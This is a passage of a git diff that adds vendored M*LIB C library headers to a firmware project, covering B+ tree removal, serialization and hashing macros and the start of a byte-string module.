+    node_t n = it->node;                                                      \
+    if ((unsigned) it->idx >= (unsigned) -n->num) return (it->idx >= 0);      \
+    int cmp = M_CALL_CMP(key_oplist, n->key[it->idx], key);                   \
+    return (cmp >= 0);                                                        \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _it_while_p)(it_t it, key_t const key)                            \
+  {                                                                           \
+    M_ASSERT (it != NULL);                                                    \
+    node_t n = it->node;                                                      \
+    if ((unsigned) it->idx >= (unsigned) -n->num) return (it->idx < 0);       \
+    int cmp = M_CALL_CMP(key_oplist, n->key[it->idx], key);                   \
+    return (cmp <= 0);                                                        \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _remove, tree_t b, it_t it)                                 \
+  {                                                                           \
+    M_BPTR33_CONTRACT(N, isMulti, key_oplist, b);                             \
+    node_t n = it->node; /* It is a leaf*/                                    \
+    M_ASSERT( n->num < 0);                                                    \
+    int i = it->idx;                                                          \
+    int num = M_F(name, _get_num)(n);                                         \
+    M_ASSERT (i >= 0 && i < num);                                             \
+    /* Get an index of an existing remaining key of the node. */              \
+    /* Unfortunately, if N=2 or N=3, we can no longer have any remaining keys in this node*/ \
+    /* so we need to fill in the pit table before removing even if it can be useless */ \
+    pit_t pit;                                                                \
+    node_t leaf = M_F(name, _i_search_for_leaf)(pit, b, n->key[i]);           \
+    /* Remove the exact referenced object from the object */                  \
+    M_CALL_CLEAR(key_oplist, n->key[i]);                                      \
+    M_IF(isMap)(M_CALL_CLEAR(value_oplist, n->kind.value[i]);,)               \
+    memmove(&n->key[i], &n->key[i+1], sizeof(key_t)*(unsigned int)(num-1-i)); \
+    M_IF(isMap)(memmove(&n->kind.value[i], &n->kind.value[i+1], sizeof(value_t)*(unsigned int)(num-1-i));,) \
+    n->num -= -1; /* decrease number as num is < 0 */                         \
+    /* Remove one item from the B+TREE */                                     \
+    b->size --;                                                               \
+    /* Update it to point to the next item */                                 \
+    if (M_UNLIKELY(i >= num-1 && n->next != NULL)) {                          \
+      /* Reset to next node */                                                \
+      it->node = n->next;                                                     \
+      it->idx = 0;                                                            \
+    }                                                                         \
+    /* If number of keys greater than N>2 or the node is root ==> Nothing more to do */ \
+    if (M_LIKELY (M_F(name, _get_num)(n) >= N/2) || (b->root == n))           \
+      return;                                                                 \
+    /* Update the B+ Tree to keep it balanced */                              \
+    /* We need to update the 'pit' table to reference the item of the node (multimap case) */ \
+    while (M_UNLIKELY(n != leaf)) {                                           \
+      /* multimap case where the leaf associated to the key is not ok */      \
+      /* we need to go to the next one and fix pit */                         \
+      M_ASSERT(leaf->next != NULL);                                           \
+      leaf = leaf->next;                                                      \
+      int p_num = pit->num;                                                   \
+      node_t p_n = leaf;                                                      \
+      do {                                                                    \
+        M_ASSERT(p_num >= 1);                                                 \
+        node_t parent = pit->parent[--p_num];                                 \
+        int k = M_F(name, _i_search_for_node)(parent, p_n);                   \
+        if (k >= 0) break;                                                    \
+        /* p_n not found in parent, go to next parent */                      \
+        pit->parent[p_num] = pit->parent[p_num]->next;                        \
+        p_n = pit->parent[p_num];                                             \
+        /* perform another loop as the great parent may need update too */    \
+      } while (1);                                                            \
+    }                                                                         \
+      /* Leaf is too small. Needs rebalancing */                              \
+    M_ASSERT (M_F(name, _get_num)(leaf) == N/2-1);                            \
+    bool pass1 = true;                                                        \
+    while (true) {                                                            \
+      M_ASSERT (pit->num > 0);                                                \
+      /* Search for node 'leaf' in parent */                                  \
+      node_t parent = pit->parent[--pit->num];                                \
+      M_ASSERT (parent != NULL);                                              \
+      int k = M_F(name, _i_search_for_node)(parent, leaf);                    \
+      M_ASSUME(k >= 0);                                                       \
+      /* Look for the neighbour of the removed key. */                        \
+      /* if we can steal one key from them to keep our node balanced */       \
+      if (k > 0 && M_F(name, _get_num)(parent->kind.node[k-1]) > N/2) {       \
+        M_F(name, _i_left_shift)M_R(parent, k-1);                             \
+        /* Fix iterator 'it' so that it still references the same element */  \
+        if (it->node == parent->kind.node[k]) {                               \
+          it->idx ++;                                                         \
+        } else if (it->node == parent->kind.node[k-1]) {                      \
+          if (it->idx >= M_F(name, _get_num)(it->node)) {                     \
+            it->idx = 0;                                                      \
+            it->node = parent->kind.node[k-1];                                \
+          }                                                                   \
+        }                                                                     \
+        return ;                                                              \
+      } else if (k < M_F(name, _get_num)(parent)                              \
+                 && M_F(name, _get_num)(parent->kind.node[k+1]) > N/2) {      \
+        M_F(name, _i_right_shift)M_R(parent, k);                              \
+        /* Fix iterator 'it' so that it still references the same element */  \
+        if (it->node == parent->kind.node[k+1]) {                             \
+          if (it->idx == 0) {                                                 \
+            it->node = parent->kind.node[k];                                  \
+            it->idx = M_F(name, _get_num)(parent->kind.node[k])-1;            \
+          } else {                                                            \
+            it->idx --;                                                       \
+          }                                                                   \
+        }                                                                     \
+        return ;                                                              \
+      }                                                                       \
+      /* Merge both nodes, removing 'k' from parent */                        \
+      if (k == M_F(name, _get_num)(parent))                                   \
+        k--;                                                                  \
+      M_ASSERT(k >= 0 && k < M_F(name, _get_num)(parent));                    \
+      /* Merge 'k' & 'k+1' & remove 'k' from parent */                        \
+      num = M_F(name, _get_num)(parent->kind.node[k]);                        \
+      bool it_to_fix = it->node == parent->kind.node[k+1];                    \
+      M_F(name, _i_merge_node)M_R(parent, k, pass1);                          \
+      /* Fix iterator 'it' so that it still references the same element */    \
+      if (it_to_fix) {                                                        \
+        it->node = parent->kind.node[k];                                      \
+        it->idx += num;                                                       \
+      }                                                                       \
+      /* Check if we need to continue */                                      \
+      if (M_F(name, _get_num)(parent) >= N/2)                                 \
+        return ;                                                              \
+      if (pit->num == 0) {                                                    \
+        /* We reach the root */                                               \
+        if (M_F(name, _get_num)(parent) == 0) {                               \
+          /* Update root (deleted) */                                         \
+          b->root = parent->kind.node[0];                                     \
+          M_CALL_DEL(key_oplist, parent);                                     \
+        }                                                                     \
+        return ;                                                              \
+      }                                                                       \
+      /* Next iteration */                                                    \
+      leaf = parent;                                                          \
+      pass1 = false;                                                          \
+    }                                                                         \
+  }                                                                           \
+
+/* Define additional functions.
+   Do not used any fields but the already defined methods */
+#define M_BPTR33_DEF_EXT(name, N, key_t, key_oplist, value_t, value_oplist, isMap, isMulti, tree_t, node_t, pit_t, it_t, subtype_t) \
+                                                                              \
+  M_IF_METHOD_BOTH(EQUAL, key_oplist, value_oplist)(                          \
+  M_INLINE bool M_F(name,_equal_p)(const tree_t t1, const tree_t t2) {        \
+    M_BPTR33_CONTRACT(N, isMulti, key_oplist, t1);                            \
+    M_BPTR33_CONTRACT(N, isMulti, key_oplist, t2);                            \
+    if (t1->size != t2->size) return false;                                   \
+    if (t1->size == 0) return true;                                           \
+    /* Slow comparaison */                                                    \
+    it_t it1;                                                                 \
+    it_t it2;                                                                 \
+    /* NOTE: We can't compare two trees directly as they can be               \
+       structurally different but functionally equal (you get this by         \
+       constructing the tree in a different way). We have to                  \
+       compare the ordered value within the tree. */                          \
+    M_F(name, _it)(it1, t1);                                                  \
+    M_F(name, _it)(it2, t2);                                                  \
+    while (!M_F(name, _end_p)(it1)                                            \
+           && !M_F(name, _end_p)(it2)) {                                      \
+      const subtype_t *ref1 = M_F(name, _cref)(it1);                          \
+      const subtype_t *ref2 = M_F(name, _cref)(it2);                          \
+      M_IF(isMap)(                                                            \
+      if (!M_CALL_EQUAL(key_oplist, *ref1->key_ptr, *ref2->key_ptr))          \
+        return false;                                                         \
+      if (!M_CALL_EQUAL(value_oplist, *ref1->value_ptr, *ref2->value_ptr))    \
+        return false;                                                         \
+      ,                                                                       \
+      if (!M_CALL_EQUAL(key_oplist, *ref1, *ref2))                            \
+        return false;                                                         \
+                                                                        )     \
+      M_F(name, _next)(it1);                                                  \
+      M_F(name, _next)(it2);                                                  \
+    }                                                                         \
+    return M_F(name, _end_p)(it1)                                             \
+      && M_F(name, _end_p)(it2);                                              \
+  }                                                                           \
+  , /* NO EQUAL METHOD */ )                                                   \
+                                                                              \
+  M_IF_METHOD_BOTH(HASH, key_oplist, value_oplist)(                           \
+  M_INLINE size_t M_F(name,_hash)(const tree_t t1) {                          \
+    M_BPTR33_CONTRACT(N, isMulti, key_oplist, t1);                            \
+    M_HASH_DECL(hash);                                                        \
+    /* NOTE: We can't compute the hash directly for the same reason           \
+       than for EQUAL operator. */                                            \
+    it_t it1;                                                                 \
+    M_F(name, _it)(it1, t1);                                                  \
+    while (!M_F(name, _end_p)(it1)) {                                         \
+      subtype_t const *ref1 = M_F(name, _cref)(it1);                          \
+      M_IF(isMap)(                                                            \
+                  M_HASH_UP(hash, M_CALL_HASH(key_oplist, *ref1->key_ptr));   \
+                  M_HASH_UP(hash, M_CALL_HASH(value_oplist, *ref1->value_ptr)); \
+                  ,                                                           \
+                  M_HASH_UP(hash, M_CALL_HASH(key_oplist, *ref1));            \
+                                                                        )     \
+      M_F(name, _next)(it1);                                                  \
+    }                                                                         \
+    return M_HASH_FINAL (hash);                                               \
+  }                                                                           \
+  , /* NO HASH METHOD */ )                                                    \
+                                                                              \
+  M_IF_METHOD_BOTH(GET_STR, key_oplist, value_oplist)(                        \
+  M_P(void, name, _get_str, m_string_t str, const tree_t t1, bool append)     \
+  {                                                                           \
+    M_BPTR33_CONTRACT(N, isMulti, key_oplist, t1);                            \
+    M_ASSERT(str != NULL);                                                    \
+    (append ? m_string_cat_cstr : m_string_set_cstr) M_R(str, "[");           \
+    bool commaToPrint = false;                                                \
+    it_t it;                                                                  \
+    for (M_F(name, _it)(it, t1) ;                                             \
+         !M_F(name, _end_p)(it);                                              \
+         M_F(name, _next)(it)) {                                              \
+      if (commaToPrint)                                                       \
+        m_string_push_back M_R(str, M_GET_SEPARATOR key_oplist);              \
+      commaToPrint = true;                                                    \
+      subtype_t const *ref1 = M_F(name, _cref)(it);                           \
+      M_IF(isMap)(                                                            \
+                  M_CALL_GET_STR(key_oplist, str, *ref1->key_ptr, true);      \
+                  m_string_cat_cstr M_R(str, ":");                            \
+                  M_CALL_GET_STR(value_oplist,str, *ref1->value_ptr, true)    \
+                  ,                                                           \
+                  M_CALL_GET_STR(key_oplist, str, *ref1, true);               \
+                                                                        );    \
+    }                                                                         \
+    m_string_push_back M_R(str, ']');                                         \
+  }                                                                           \
+  , /* NO GET_STR */ )                                                        \
+                                                                              \
+  M_IF_METHOD_BOTH(OUT_STR, key_oplist, value_oplist)(                        \
+  M_INLINE void                                                               \
+  M_F(name, _out_str)(FILE *file, tree_t const t1)                            \
+  {                                                                           \
+    M_BPTR33_CONTRACT(N, isMulti, key_oplist, t1);                            \
+    M_ASSERT (file != NULL);                                                  \
+    fputc ('[', file);                                                        \
+    bool commaToPrint = false;                                                \
+    it_t it;                                                                  \
+    for (M_F(name, _it)(it, t1) ;                                             \
+         !M_F(name, _end_p)(it);                                              \
+         M_F(name, _next)(it)){                                               \
+      if (commaToPrint)                                                       \
+        fputc (M_GET_SEPARATOR key_oplist, file);                             \
+      commaToPrint = true;                                                    \
+      subtype_t const *ref1 = M_F(name, _cref)(it);                           \
+      M_IF(isMap)(                                                            \
+                  M_CALL_OUT_STR(key_oplist, file, *ref1->key_ptr);           \
+                  fputc (':', file);                                          \
+                  M_CALL_OUT_STR(value_oplist, file, *ref1->value_ptr)        \
+                  ,                                                           \
+                  M_CALL_OUT_STR(key_oplist, file, *ref1);                    \
+                                                                        );    \
+    }                                                                         \
+    fputc (']', file);                                                        \
+  }                                                                           \
+  , /* no out_str */ )                                                        \
+                                                                              \
+  M_IF_METHOD_BOTH(PARSE_STR, key_oplist, value_oplist)(                      \
+  M_P(bool, name, _parse_str, tree_t t1, const char str[], const char **endp) \
+  {                                                                           \
+    M_BPTR33_CONTRACT(N, isMulti, key_oplist, t1);                            \
+    M_ASSERT (str != NULL);                                                   \
+    M_F(name,_reset)M_R(t1);                                                  \
+    int c = *str++;                                                           \
+    if (M_UNLIKELY (c != '[')) { c = 0; goto exit; }                          \
+    c = *str++;                                                               \
+    if (M_UNLIKELY (c == ']' || c == 0)) goto exit;                           \
+    str--;                                                                    \
+    M_QLET(1, key, key_t, key_oplist)                                         \
+    M_IF(isMap)(M_QLET(2, value, value_t, value_oplist), /* No isMap */) {    \
+      do {                                                                    \
+        bool b = M_CALL_PARSE_STR(key_oplist, key, str, &str);                \
+        c = m_core_str_nospace(&str);                                         \
+        if (b == false) { c = 0; break; }                                     \
+        M_IF(isMap)(if (c != ':') { c = 0; break; }                           \
+                    b = M_CALL_PARSE_STR(value_oplist, value, str, &str);     \
+                    c = m_core_str_nospace(&str);                             \
+        if (b == false || c == 0) { c = 0; break; }                           \
+        M_F(name, _set_at)M_R(t1, key, value);                                \
+        ,                                                                     \
+        M_F(name, _push)M_R(t1, key);                                         \
+        )                                                                     \
+      } while (c == M_GET_SEPARATOR key_oplist);                              \
+    }                                                                         \
+  exit:                                                                       \
+    if (endp) *endp = str;                                                    \
+    M_BPTR33_CONTRACT(N, isMulti, key_oplist, t1);                            \
+    return (c == ']');                                                        \
+  }                                                                           \
+  , /* no parse_str */ )                                                      \
+                                                                              \
+  M_IF_METHOD_BOTH(IN_STR, key_oplist, value_oplist)(                         \
+  M_P(bool, name, _in_str, tree_t t1, FILE *file)                             \
+  {                                                                           \
+    M_BPTR33_CONTRACT(N, isMulti, key_oplist, t1);                            \
+    M_ASSERT (file != NULL);                                                  \
+    M_F(name,_reset)M_R(t1);                                                  \
+    int c = fgetc(file);                                                      \
+    if (M_UNLIKELY (c != '[')) return false;                                  \
+    c = fgetc(file);                                                          \
+    if (M_UNLIKELY (c == ']')) return true;                                   \
+    if (M_UNLIKELY (c == EOF)) return false;                                  \
+    ungetc(c, file);                                                          \
+    M_QLET(1, key, key_t, key_oplist)                                         \
+    M_IF(isMap)(M_QLET(2, value, value_t, value_oplist) , /*nothing*/) {      \
+      do {                                                                    \
+        bool b = M_CALL_IN_STR(key_oplist, key, file);                        \
+        c = m_core_fgetc_nospace(file);                                       \
+        if (b == false) { c = 0; break; }                                     \
+        M_IF(isMap)(if (c!=':') { c = 0; break; }                             \
+                    b = M_CALL_IN_STR(value_oplist,value, file);              \
+                    c = m_core_fgetc_nospace(file);                           \
+                    if (b == false || c == EOF) { c = 0; break; }             \
+                    M_F(name, _set_at)M_R(t1, key, value)                     \
+                    ,                                                         \
+                    M_F(name, _push)M_R(t1, key)                              \
+                    );                                                        \
+      } while (c == M_GET_SEPARATOR key_oplist);                              \
+    }                                                                         \
+    M_BPTR33_CONTRACT(N, isMulti, key_oplist, t1);                            \
+    return c == ']';                                                          \
+  }                                                                           \
+  , /* no in_str */ )                                                         \
+                                                                              \
+  M_IF_METHOD_BOTH(OUT_SERIAL, key_oplist, value_oplist)(                     \
+  M_P(m_serial_return_code_t, name, _out_serial, m_serial_write_t f, tree_t const t1) \
+  {                                                                           \
+    M_BPTR33_CONTRACT(N, isMulti, key_oplist, t1);                            \
+    M_ASSERT (f != NULL && f->m_interface != NULL);                           \
+    m_serial_return_code_t ret;                                               \
+    m_serial_local_t local;                                                   \
+    subtype_t const *item;                                                    \
+    bool first_done = false;                                                  \
+    it_t it;                                                                  \
+    /* Format is different between associative container                      \
+       & set container */                                                     \
+    M_IF(isMap)(                                                              \
+                ret = f->m_interface->write_map_start M_R(local, f, t1->size); \
+                for (M_F(name, _it)(it, t1) ;                                 \
+                     !M_F(name, _end_p)(it);                                  \
+                     M_F(name, _next)(it)){                                   \
+                  item = M_F(name, _cref)(it);                                \
+                  if (first_done)                                             \
+                    ret |= f->m_interface->write_map_next M_R(local, f);      \
+                  ret |= M_CALL_OUT_SERIAL(key_oplist, f, *item->key_ptr);    \
+                  ret |= f->m_interface->write_map_value M_R(local, f);       \
+                  ret |= M_CALL_OUT_SERIAL(value_oplist, f, *item->value_ptr); \
+                  first_done = true;                                          \
+                }                                                             \
+                ret |= f->m_interface->write_map_end M_R(local, f);           \
+                ,                                                             \
+                ret = f->m_interface->write_array_start M_R(local, f, t1->size); \
+                for (M_F(name, _it)(it, t1) ;                                 \
+                     !M_F(name, _end_p)(it);                                  \
+                     M_F(name, _next)(it)){                                   \
+                  item = M_F(name, _cref)(it);                                \
+                  if (first_done)                                             \
+                    ret |= f->m_interface->write_array_next M_R(local, f);    \
+                  ret |= M_CALL_OUT_SERIAL(key_oplist, f, *item);             \
+                  first_done = true;                                          \
+                }                                                             \
+                ret |= f->m_interface->write_array_end M_R(local, f);         \
+                                                                        )     \
+      return ret & M_SERIAL_FAIL;                                             \
+  }                                                                           \
+  , /* no OUT_SERIAL */ )                                                     \
+                                                                              \
+  M_IF_METHOD_BOTH(IN_SERIAL, key_oplist, value_oplist)(                      \
+  M_P(m_serial_return_code_t, name, _in_serial, tree_t t1, m_serial_read_t f) \
+  {                                                                           \
+    M_BPTR33_CONTRACT(N, isMulti, key_oplist, t1);                            \
+    M_ASSERT (f != NULL && f->m_interface != NULL);                           \
+    m_serial_local_t local;                                                   \
+    m_serial_return_code_t ret;                                               \
+    size_t estimated_size = 0;                                                \
+    M_F(name,_reset)M_R(t1);                                                  \
+    M_QLET(1, key, key_t, key_oplist)                                         \
+    M_IF(isMap)(M_QLET(2, value, value_t, value_oplist) , /*nothing*/) {      \
+        M_IF(isMap)(                                                          \
+                ret = f->m_interface->read_map_start(local, f, &estimated_size); \
+                if (M_UNLIKELY (ret != M_SERIAL_OK_CONTINUE)) break;          \
+                do {                                                          \
+                  ret = M_CALL_IN_SERIAL(key_oplist, key, f);                 \
+                  if (ret != M_SERIAL_OK_DONE) break;                         \
+                  ret = f->m_interface->read_map_value(local, f);             \
+                  if (ret != M_SERIAL_OK_CONTINUE) break;                     \
+                  ret = M_CALL_IN_SERIAL(value_oplist, value, f);             \
+                  if (ret != M_SERIAL_OK_DONE) break;                         \
+                  M_F(name, _set_at)M_R(t1, key, value);                      \
+                } while ((ret = f->m_interface->read_map_next(local, f)) == M_SERIAL_OK_CONTINUE); \
+        , /* queue style */                                                   \
+                ret = f->m_interface->read_array_start(local, f, &estimated_size); \
+                if (M_UNLIKELY (ret != M_SERIAL_OK_CONTINUE)) break;          \
+                do {                                                          \
+                  ret = M_CALL_IN_SERIAL(key_oplist, key, f);                 \
+                  if (ret != M_SERIAL_OK_DONE) break;                         \
+                  M_F(name, _push)M_R(t1, key);                               \
+                } while ((ret = f->m_interface->read_array_next(local, f)) == M_SERIAL_OK_CONTINUE); \
+        ) /* End of IF isMap */                                               \
+    }                                                                         \
+    M_BPTR33_CONTRACT(N, isMulti, key_oplist, t1);                            \
+    return ret;                                                               \
+  }                                                                           \
+  , /* no in_serial */ )                                                      \
+
+
+/******************************** INTERNAL ***********************************/
+
+#if M_USE_SMALL_NAME
+#define BPTREE_DEF2 M_BPTREE_DEF2
+#define BPTREE_DEF2_AS M_BPTREE_DEF2_AS
+#define BPTREE_DEF M_BPTREE_DEF
+#define BPTREE_DEF_AS M_BPTREE_DEF_AS
+#define BPTREE_MULTI_DEF2 M_BPTREE_MULTI_DEF2
+#define BPTREE_MULTI_DEF2_AS M_BPTREE_MULTI_DEF2_AS
+#define BPTREE_MULTI_DEF M_BPTREE_MULTI_DEF
+#define BPTREE_MULTI_DEF_AS M_BPTREE_MULTI_DEF_AS
+#define BPTREE_OPLIST M_BPTREE_OPLIST
+#define BPTREE_OPLIST2 M_BPTREE_OPLIST2
+#endif
+
+#endif
diff --git a/lib/subghz_unleashed_compat/include/mlib/m-bstring.h b/lib/subghz_unleashed_compat/include/mlib/m-bstring.h
new file mode 100644
index 000000000..50d2bfd06
--- /dev/null
+++ b/lib/subghz_unleashed_compat/include/mlib/m-bstring.h
@@ -0,0 +1,616 @@
+/*
+ * M*LIB - Byte String module
+ *
+ * Copyright (c) 2017-2026, Patrick Pelissier
+ * All rights reserved.
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ * + Redistributions of source code must retain the above copyright
+ *   notice, this list of conditions and the following disclaimer.
+ * + Redistributions in binary form must reproduce the above copyright
+ *   notice, this list of conditions and the following disclaimer in the
+ *   documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE REGENTS AND CONTRIBUTORS BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+#ifndef MSTARLIB_BSTRING_H
+#define MSTARLIB_BSTRING_H
+
+#include "m-core.h"
+
+M_BEGIN_PROTECTED_CODE
+
+/* Byte String Type definition*/
+typedef struct m_bstring_s {
+ size_t size;   // Number of effective BYTES
+ size_t alloc;  // Size of the allocated buffer
+ size_t offset; // Offset where the effective BYTES are stored in the allocated buffer
+ uint8_t  *ptr; // Pointer to the allocated buffer
+ } m_bstring_t[1];
+
+// Contract of a bstring
+#define M_BSTRING_CONTRACT(o) do {                                            \
+    M_ASSERT( (o)->size + (o)->offset >= (o)->size );                         \
+    M_ASSERT( (o)->alloc  >= (o)->size + (o)->offset );                       \
+    M_ASSERT( (o)->ptr != NULL || (o)->alloc == 0);                           \
+} while (0)
+
+M_INLINE size_t
+m_bstring_size(const m_bstring_t s)
+{
+    M_BSTRING_CONTRACT(s);
+    return s->size;
+}
+
+M_INLINE size_t
+m_bstring_capacity(const m_bstring_t s)
+{
+    M_BSTRING_CONTRACT(s);
+    return s->alloc;
+}
+
+M_INLINE uint8_t *
+m_bstr1ng_cstr(const m_bstring_t v)
+{
+    return &v->ptr[v->offset];
+}
+
+M_INLINE void
+m_bstring_init(m_bstring_t s)
+{
+    s->size   = 0;
+    s->alloc  = 0;
+    s->offset = 0;
+    s->ptr    = NULL;
+    M_BSTRING_CONTRACT(s);
+}
+
+M_P(void, m_bstring, _clear, m_bstring_t s)
+{
+    M_BSTRING_CONTRACT(s);
+    M_MEMORY_FREE(m_context, uint8_t, s->ptr, s->alloc);
+    s->offset = (size_t) -1;
+}
+
+M_INLINE void
+m_bstring_reset(m_bstring_t s)
+{
+    M_BSTRING_CONTRACT(s);
+    s->size   = 0;
+    s->offset = 0;
+    M_BSTRING_CONTRACT(s);
+}
+
+M_INLINE void
+m_bstring_swap(m_bstring_t s1, m_bstring_t s2)
+{
+    M_BSTRING_CONTRACT(s1);
+    M_BSTRING_CONTRACT(s2);
+    m_bstring_t tmp;
+    memcpy(tmp, s1, sizeof (m_bstring_t));
+    memcpy(s1, s2, sizeof (m_bstring_t));
+    memcpy(s2, tmp, sizeof (m_bstring_t));
+    M_BSTRING_CONTRACT(s1);
+    M_BSTRING_CONTRACT(s2);
+}
+
+/* Return the selected byte-character of the string */
+M_INLINE uint8_t
+m_bstring_get_byte(const m_bstring_t v, size_t index)
+{
+    M_BSTRING_CONTRACT (v);
+    M_ASSERT_INDEX(index, v->size);
+    return m_bstr1ng_cstr(v)[index];
+}
+
+/* Set the selected byte-character of the string */
+M_INLINE void
+m_bstring_set_byte(m_bstring_t v, size_t index, const uint8_t c)
+{
+    M_BSTRING_CONTRACT (v);
+    M_ASSERT_INDEX(index, v->size);
+    m_bstr1ng_cstr(v)[index] = c;
+}
+
+/* Test if the string is empty or not */
+M_INLINE bool
+m_bstring_empty_p(const m_bstring_t v)
+{
+    M_BSTRING_CONTRACT (v);
+    return v->size == 0;
+}
+
+/* Internal method to fit the Byte string to the given size
+   Ensures that the Byte String capacity is greater than size_alloc+offset
+   The returned Byte String 'v' no longer has a **correct** size field.
+   If exact_alloc is true, it will request exactly the request size for the buffer
+   on reallocation otherwise it will augment the requested size to amortize the future
+   allocations.
+   Return a pointer to the writable string.
+*/
+M_P(uint8_t *, m_bstr1ng, _fit2size, m_bstring_t v, size_t size_alloc, bool exact_alloc)
+{
+  // Very unlikely overflow case
+  if (M_UNLIKELY_NOMEM (v->offset > v->offset + size_alloc)) {
+    goto allocation_error;
+  }
+  M_ASSERT_INDEX (v->offset, v->offset + size_alloc);
+  // Note: this function may be called in context where the contract is not fulfilled.
+  if (M_UNLIKELY (v->offset + size_alloc > v->alloc)) {
+    // Insufficient current allocation to store the new string
+
+    // Check if there is a too big offset that can be reduced
+    if (v->offset > v->size / 8 && v->offset > 16) {
+        // Move back the effective bytes to the beginning of the buffer
+        memmove(&v->ptr[0], &v->ptr[v->offset], v->size);
+        v->offset = 0;
+        // If it is now sufficient, we can return.
+        if (size_alloc <= v->alloc)
+            return v->ptr;
+    }
+
+    // Alloc a new array. Compute the requested allocation size
+    size_t alloc = (v->offset + size_alloc + (exact_alloc ? 0 : size_alloc / 2));
+    alloc = M_MAX(alloc, 16);
+    if (M_UNLIKELY_NOMEM (alloc < size_alloc)) {
+        goto allocation_error;
+    }
+    uint8_t *ptr = M_MEMORY_REALLOC (m_context, uint8_t, v->ptr, v->alloc, alloc);
+    if (M_UNLIKELY_NOMEM (ptr == NULL)) {
+        goto allocation_error;
+    }
+    // The string cannot be fully embedded anymore.
+    v->ptr = ptr;
+    v->alloc = alloc;
+    // Size is not set as the function is called in context
+    // where the caller already know the final size of the string,
+    // so it will update it.
+    return &v->ptr[v->offset];
+  }
+  return &v->ptr[v->offset];
+  allocation_error:
+    M_MEMORY_FULL(uint8_t, size_alloc);
+}
+
+/* Push the byte 'c' in the bstring 'v' */
+M_P(void, m_bstring, _push_back, m_bstring_t v, uint8_t c)
+{
+    M_BSTRING_CONTRACT (v);
+    const size_t size = v->size;
+    // To overflow size+1, we need to have exhausted all memory
+    // which is not possible.
+    uint8_t *ptr = m_bstr1ng_fit2size M_R(v, size+1, false);
+    ptr[size] = c;
+    v->size = size + 1;
+    M_BSTRING_CONTRACT (v);
+}
+
+/* Push the array of bytes from 'buffer' in the bstring 'v' */
+M_P(void, m_bstring, _push_back_bytes, m_bstring_t v, size_t n, const void *buffer)
+{
+    M_BSTRING_CONTRACT (v);
+    const size_t size = v->size;
+    if (M_UNLIKELY (n == 0)) return;
+    M_ASSERT_INDEX (size, size + n);
+    // If size+n overflows, it means we are giving two objects which sizes
+    // sum to be greater than the available memory. The memory should have exhausted before that.
+    // The case is not possible, or the given size of the buffer is "faked".
+    uint8_t *ptr = m_bstr1ng_fit2size M_R(v, size+n, false);
+    memcpy(&ptr[size], buffer, n);
+    v->size = size + n;
+    M_BSTRING_CONTRACT (v);
+}
+
+M_P(void, m_bstring, _splice, m_bstring_t dst, m_bstring_t src)
+{
+    M_BSTRING_CONTRACT (dst);
+    M_BSTRING_CONTRACT (src);
+    M_ASSERT(src != dst);
+    m_bstring_push_back_bytes M_R(dst, m_bstring_size(src), m_bstr1ng_cstr(src));
+    m_bstring_reset(src);
+}
+
+M_P(void, m_bstring, _init_set, m_bstring_t v, const m_bstring_t org)
+{
+  m_bstring_init(v);
+  m_bstring_push_back_bytes M_R(v, m_bstring_size(org), m_bstr1ng_cstr(org));
+}
+
+M_P(void, m_bstring, _set, m_bstring_t v, const m_bstring_t org)
+{
+  m_bstring_reset(v);
+  m_bstring_push_back_bytes M_R(v, m_bstring_size(org), m_bstr1ng_cstr(org));
+}
+
+M_INLINE void
+m_bstring_init_move(m_bstring_t v, m_bstring_t org)
+{
+    M_BSTRING_CONTRACT (org);
+    memcpy(v, org, sizeof (m_bstring_t));
+    // Make org an invalid representation
+    org->offset = (size_t) -1;
+}
+
+M_P(void, m_bstring, _move, m_bstring_t v, m_bstring_t org)
+{
+    m_bstring_clear M_R(v);
+    m_bstring_init_move(v, org);
+}
+
+M_INLINE size_t
+m_bstring_hash(const m_bstring_t v)
+{
+    M_BSTRING_CONTRACT (v);
+    return m_core_hash(m_bstr1ng_cstr(v), m_bstring_size(v));
+}
+
+M_INLINE int
+m_bstring_cmp(const m_bstring_t v1, const m_bstring_t v2)
+{
+    M_BSTRING_CONTRACT (v1);
+    M_BSTRING_CONTRACT (v2);
+    const size_t s1 = m_bstring_size(v1);
+    const size_t s2 = m_bstring_size(v2);
+    int ret = memcmp(m_bstr1ng_cstr(v1), m_bstr1ng_cstr(v2), M_MIN(s1, s2));
+    if (ret)
+        return ret;
+    if (s1 != s2)
+        return s1 < s2 ? -1 : 1;
+    return 0;
+}
+
+M_INLINE int
+m_bstring_cmp_bytes(const m_bstring_t v1, size_t s2, const void *p2)
+{
+    M_BSTRING_CONTRACT (v1);
+    const size_t s1 = m_bstring_size(v1);
+    int ret = memcmp(m_bstr1ng_cstr(v1), p2, M_MIN(s1, s2));
+    if (ret)
+        return ret;
+    if (s1 != s2)
+        return s1 < s2 ? -1 : 1;
+    return 0;
+}
+
+M_INLINE bool
+m_bstring_equal_p(const m_bstring_t v1, const m_bstring_t v2)
+{
+    M_BSTRING_CONTRACT (v1);
+    M_BSTRING_CONTRACT (v2);
+    const size_t s1 = m_bstring_size(v1);
+    const size_t s2 = m_bstring_size(v2);
+    if (s1 != s2)
+        return false;
+    return memcmp(m_bstr1ng_cstr(v1), m_bstr1ng_cstr(v2), s1) == 0;
+}
+
+M_INLINE bool
+m_bstring_equal_bytes_p(const m_bstring_t v1, size_t s2, const void *buffer)
+{
